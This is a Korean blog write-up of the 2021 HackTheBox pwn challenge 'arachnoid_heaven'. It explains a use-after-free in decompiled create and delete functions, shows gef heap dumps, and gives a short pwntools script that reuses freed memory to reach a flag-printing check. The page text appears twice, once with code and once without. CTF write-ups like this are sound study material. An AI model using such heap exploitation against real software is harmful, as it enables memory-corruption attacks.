UAF를 이용하는 문제
create_arachnoid
ppvVar1 = (void **)malloc(0x10); pvVar2 = malloc(0x28); *ppvVar1 = pvVar2; pvVar2 = malloc(0x28); ppvVar1[1] = pvVar2; printf("%s","\nName: "); read(0,*ppvVar1,20); strcpy((char *)ppvVar1[1],defaultCode); lVar3 = (long)(int)arachnoidCount; pvVar2 = ppvVar1[1]; *(void **)(arachnoids + lVar3 * 0x80) = *ppvVar1; *(void **)(arachnoids + lVar3 * 0x80 + 8) = pvVar2; printf("Arachnoid Index: %d\n\n",(ulong)arachnoidCount); arachnoidCount = arachnoidCount + 1;
1. malloc을 이용하여 메모리 할당
2. malloc의 반환 값(청크 주소)를 특정 주소로 넣어준다
3. 여러 값 할당
delete_arachnoid
if (((int)uVar1 < 0) || (arachnoidCount <= (int)uVar1)) { /* uaf? */ puts("Invalid Index!"); } else { free(*(void **)(arachnoids + lVar2)); free(*(void **)(arachnoids + lVar2 + 8)); }
1. 메모리를 free 해준다. 이때 free를 하고 해당 주소를 NULL로 초기화 해주지 않아 UAF가 발생하게 된다.
obtain_arachnoid
puts("Arachnoid: "); read(0,local_12,2); iVar1 = atoi(local_12); if ((iVar1 < 0) || (arachnoidCount <= iVar1)) { puts("Invalid Index!"); } else { iVar1 = strncmp(*(char **)(arachnoids + (long)iVar1 * 0x80 + 8),"sp1d3y",6); if (iVar1 == 0) { system("cat flag.txt"); } else { puts("Unauthorised!"); } }
1. 특정 주소의 값이 "sp1d3y"이면, flag를 출력한다.
create 함수 호출 후, "A"*8 후 청크 상태
gef➤ heap chunks Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE) [0x0000555555603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE) [0x00005555556032a0 c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00 .2`UUU...2`UUU..] Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE) [0x00005555556032c0 41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 AAAAAAAA........] Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE) [0x00005555556032f0 62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00 bad.............] Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE) ← top chunk
UAF가 터지는거 같으니 DELETE 함수 호출 후
gef➤ heap chunks Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE) [0x0000555555603010 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE) [0x00005555556032a0 c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00 .2`UUU...2`UUU..] Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE) [0x00005555556032c0 00 00 00 00 00 00 00 00 10 30 60 55 55 55 00 00 .........0`UUU..] Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE) [0x00005555556032f0 62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00 bad.............] Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE) ← top chunk
메모리 구조를 보자.
gef➤ x/40gx 0x555555603290 0x555555603290: 0x0000000000000000 0x0000000000000021 0x5555556032a0: 0x00005555556032c0 0x00005555556032f0 0x5555556032b0: 0x0000000000000000 0x0000000000000031 0x5555556032c0: 0x0000000000000000 0x0000555555603010 0x5555556032d0: 0x0000000000000000 0x0000000000000000 0x5555556032e0: 0x0000000000000000 0x0000000000000031 0x5555556032f0: 0x00005555556032c0 0x0000555555603010 0x555555603300: 0x0000000000000000 0x0000000000000000 0x555555603310: 0x0000000000000000 0x0000000000020cf1
free 이후 32c0에 있는 "A"*8이 사라지고, bad가 있던 32f0에 32c0의 주소가 들어가 있다.
그리고 view를 이용하여 출력했을때 32c0의 값이 출력됨을 볼 수 있다.
그 후, 다시 create를 호출하여 값(hello)을 넣어주면, UAF에 의해 메모리가 재사용되고, code 부분에 입력한 hello가 들어가게 된다.
따라서 create -> delete -> create(sp1d3y)를 넣어준다면 code에 sp1d3y가 들어가게 되고, obtain함수를 호출하여 0번째 Arachnoid를 넣어준다면 flag가 출력될 것이다.
from pwn import * context.arch="amd64" p = process('./ara') e = ELF('./ara') def create(name): p.sendlineafter('> ', '1') p.sendafter(b'Name: ', name) def delete(index): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', str(index)) def view(index): p.sendlineafter('> ', '3') def obtiain(arch): p.sendlineafter('> ', '4') p.sendlineafter(b'Arachnoid:', str(arch)) create(b'hello') delete(0) create(b'sp1d3y') obtiain(0) p.interactive()
2021 HackTheBox - arachnoid_heaven
요약
UAF를 이용하는 문제
분석
create_arachnoid
1. malloc을 이용하여 메모리 할당
2. malloc의 반환 값(청크 주소)를 특정 주소로 넣어준다
3. 여러 값 할당
delete_arachnoid
1. 메모리를 free 해준다. 이때 free를 하고 해당 주소를 NULL로 초기화 해주지 않아 UAF가 발생하게 된다.
obtain_arachnoid
1. 특정 주소의 값이 "sp1d3y"이면, flag를 출력한다.
Exploit
create 함수 호출 후, "A"*8 후 청크 상태
UAF가 터지는거 같으니 DELETE 함수 호출 후
메모리 구조를 보자.
free 이후 32c0에 있는 "A"*8이 사라지고, bad가 있던 32f0에 32c0의 주소가 들어가 있다.
그리고 view를 이용하여 출력했을때 32c0의 값이 출력됨을 볼 수 있다.
그 후, 다시 create를 호출하여 값(hello)을 넣어주면, UAF에 의해 메모리가 재사용되고, code 부분에 입력한 hello가 들어가게 된다.
따라서 create -> delete -> create(sp1d3y)를 넣어준다면 code에 sp1d3y가 들어가게 되고, obtain함수를 호출하여 0번째 Arachnoid를 넣어준다면 flag가 출력될 것이다.
'CTF 풀지못한 문제 - pwn' 카테고리의 다른 글